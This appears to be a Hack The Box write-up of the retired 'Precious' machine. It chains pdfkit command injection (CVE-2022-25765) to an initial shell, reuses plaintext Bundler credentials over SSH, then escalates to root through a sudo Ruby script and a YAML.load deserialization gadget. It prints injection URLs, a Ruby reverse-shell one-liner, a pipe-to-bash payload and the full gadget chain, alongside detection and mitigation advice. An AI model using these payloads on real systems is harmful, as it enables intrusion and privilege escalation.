Skip to content
Pwnversity
PRECIOUS11 min · upd. 2026-11

Precious

linuxrubycommand-injectioncve-2022-25765deserializacionsudo
Platform Hack The Box (retired)
OS Linux (Debian) — precious.htb
Difficulty Easy
Approx. time ~30 min
Chain pdfkit CVE-2022-25765 → shell as ruby → credentials in .bundle/config → SSH henry → sudo Ruby script with YAML.load → root
flowchart TD
  A["Ruby web: URL → PDF<br/>pdfkit v0.8.6"] -->|URL with command substitution| B["CVE-2022-25765<br/>command injection"]
  B -->|reverse shell| C["Shell as ruby"]
  C -->|~/.bundle/config| D["henry credentials<br/>in plaintext"]
  D -->|SSH| E["henry (user.txt)"]
  E -->|sudo -l: Ruby script| F["YAML.load of dependencies.yml<br/>(relative path)"]
  F -->|deserialization payload| G["root"]
  • A Ruby web app turns a URL into a PDF using pdfkit 0.8.6, vulnerable to CVE-2022-25765: if the URL carries a shell command substitution, it runs on the server. We get RCE and a reverse shell as the ruby user.
  • ~/.bundle/config holds plaintext credentials for henry, reused for SSH.
  • henry can run a Ruby script via sudo that YAML.loads a dependencies.yml referenced by a relative path. We drop a malicious dependencies.yml in our directory and the unsafe deserialization gives execution as root.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see:

    22/tcp open ssh OpenSSH
    80/tcp open http nginx — Phusion Passenger

    What I think: SSH and an nginx with Phusion Passenger, an app server that usually serves Ruby/Rails apps. I add precious.htb to /etc/hosts and head to port 80. → Network service enumeration

2. Initial access: pdfkit command injection

Section titled “2. Initial access: pdfkit command injection”
  1. Understand the application

    What I do: the web app takes a URL and returns a PDF. I send a URL pointing at my own server (python3 -m http.server) and inspect the response headers with Burp or devtools.

    What I see: the X-Runtime header confirms Ruby. The generated PDF, inspected with exiftool, has Creator → pdfkit v0.8.6.

    What I think: the app passes my URL to pdfkit to render it. A specific library version is a direct lead: I search for pdfkit 0.8.6 vulnerability.

  2. Locate the vulnerability: CVE-2022-25765

    What I think: pdfkit ≤ 0.8.7 allows command injection when the URL passed to it contains a shell command substitution (CVE-2022-25765). The wkhtmltopdf binary is invoked in a way that the parameter is not sanitized, so `command` runs on the server. → Command injection

  3. Test RCE

    What I do: the app validates the URL format minimally, so I send a syntactically valid URL with the payload embedded and stand up a server to catch the callback.

    Ventana de terminal
    python3 -m http.server 80 # on my box (attacker = $LHOST)

    In the URL field:

    http://test.local/%20`curl http://$LHOST/test`

    What I see: a request to /test hits my server → RCE confirmed.

    Why it works: the %20 (space) separates the URL from the backtick. pdfkit builds the command line by concatenating the URL unescaped, and the shell runs what’s between backticks before calling wkhtmltopdf.

  4. Reverse shell

    What I do: I use a Ruby payload (the app is already Ruby; bash works too) Base64-encoded to dodge problematic characters.

    Ventana de terminal
    nc -lvnp 4444 # on my box

    Cleartext payload:

    ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("<LHOST>",4444))'

    In the URL field, with the payload in Base64:

    http://test.local/%20`echo <BASE64_PAYLOAD> | base64 -d | bash`

    What I see: a shell as the ruby user. I stabilize it:

    Ventana de terminal
    python3 -c 'import pty;pty.spawn("/bin/bash")'

3. Lateral movement: credentials in .bundle/config

Section titled “3. Lateral movement: credentials in .bundle/config”
  1. Hunt for secrets in the home directory

    What I do:

    Ventana de terminal
    cat ~/.bundle/config

    What I see:

    BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

    What I think: ~/.bundle/config stores Bundler options, including Gem source credentials in plaintext. Here there’s a username/password for henry. Password reuse is the norm: I try those credentials over SSH. → Credential hunting and reuse

  2. SSH as henry

    What I do:

    Ventana de terminal
    ssh henry@$IP
    # Q3c1AqGHtoI0aXAYFH
    cat /home/henry/user.txt

    What I see: access granted. user.txt → abcd…wxyz (redacted).

4. Privilege escalation: unsafe YAML deserialization

Section titled “4. Privilege escalation: unsafe YAML deserialization”
  1. Check sudo

    What I do:

    Ventana de terminal
    sudo -l

    What I see: henry can run a Ruby script as root, e.g. (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb.

    What I think: a script running as root that I can’t edit but can run. The key is what data it reads. → Sudo abuse

  2. Read the script

    What I see (snippet):

    require "yaml"
    require 'rubygems'
    def list_from_file
    YAML.load(File.read("dependencies.yml"))
    end

    What I think: two critical things:

    • dependencies.yml is referenced by a relative path → the script looks for it in the current directory, which I control.
    • It uses YAML.load on that file. The Ruby docs warn: “Do not use YAML to load untrusted data” — YAML.load (unlike safe_load) instantiates arbitrary objects, which allows code execution. → Unsafe deserialization
  3. Prepare the deserialization payload

    What I do: in a writable directory (e.g. /tmp or my home), I create dependencies.yml with a Ruby deserialization gadget valid for the installed version (2.0–3.0). First I verify with id:

    --- !ruby/object:Gem::Installer
    i: x
    --- !ruby/object:Gem::SpecFetcher
    i: y
    --- !ruby/object:Gem::Requirement
    requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
    read: 0
    header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
    socket: &1 !ruby/object:Gem::RequestSet
    sets: !ruby/object:Net::WriteAdapter
    socket: !ruby/module 'Kernel'
    method_id: :system
    git_set: id
    method_id: :resolve

    What I do:

    Ventana de terminal
    cd /tmp && nano dependencies.yml # paste the gadget
    sudo /usr/bin/ruby /opt/update_dependencies.rb

    What I see: id runs as root → the gadget chain works.

    Why it works: YAML.load reconstructs the objects described in the YAML. The gadget chains methods until it reaches Kernel.system, executing whatever we put in git_set. It’s code execution through deserialization, not a flaw in the script’s logic.

  4. From id to root

    What I do: I change git_set to a reverse shell (same technique as before) and re-run with a listener ready:

    git_set: echo <BASE64_PAYLOAD> | base64 -d | bash
    Ventana de terminal
    nc -lvnp 4444 # on my box
    sudo /usr/bin/ruby /opt/update_dependencies.rb
    cat /root/root.txt

    What I see: a shell as root. root.txt → abcd…wxyz (redacted).


The web app generates PDFs. Which library builds them, and what version? Check the PDF metadata.

What I tried Result How I ruled it out
The advisory’s literal pdfkit PoC Blocked by URL validation A syntactically valid URL before the backtick was needed
SSH brute force for henry Unnecessary and ineffective The credential was in .bundle/config
YAML.safe_load as a route N/A The script uses YAML.load, which is the unsafe one
  • A service that generates files → check its metadata (exiftool). The Creator/Producer tag gives away the library and version.
  • A specific library version → look up its CVE before improvising. pdfkit 0.8.6 → CVE-2022-25765 directly.
  • First shell → comb the home directory: .bundle, .git, .config, .ssh, histories. Plaintext credentials are the most common lateral path.
  • sudo -l first, always. A sudo script that reads a file by relative path is near-certain escalation if you control the directory.
  • YAML.load / pickle / unserialize on data you control = RCE. Recognize the unsafe-deserialization pattern in any language.
Phase Detection Mitigation
pdfkit command injection nginx/Passenger logs with URLs containing backticks or $(); unexpected wkhtmltopdf child processes Update pdfkit > 0.8.7; validate/escape the URL; don’t pass user input to the shell
Credentials in .bundle/config Review of config files holding secrets; reuse detection Don’t store cleartext credentials; use a secrets manager; don’t reuse passwords across services
YAML deserialization in sudo auditd on the script’s root execution and reads of dependencies.yml YAML.safe_load; absolute path to the data file; don’t grant sudo over scripts that load controllable data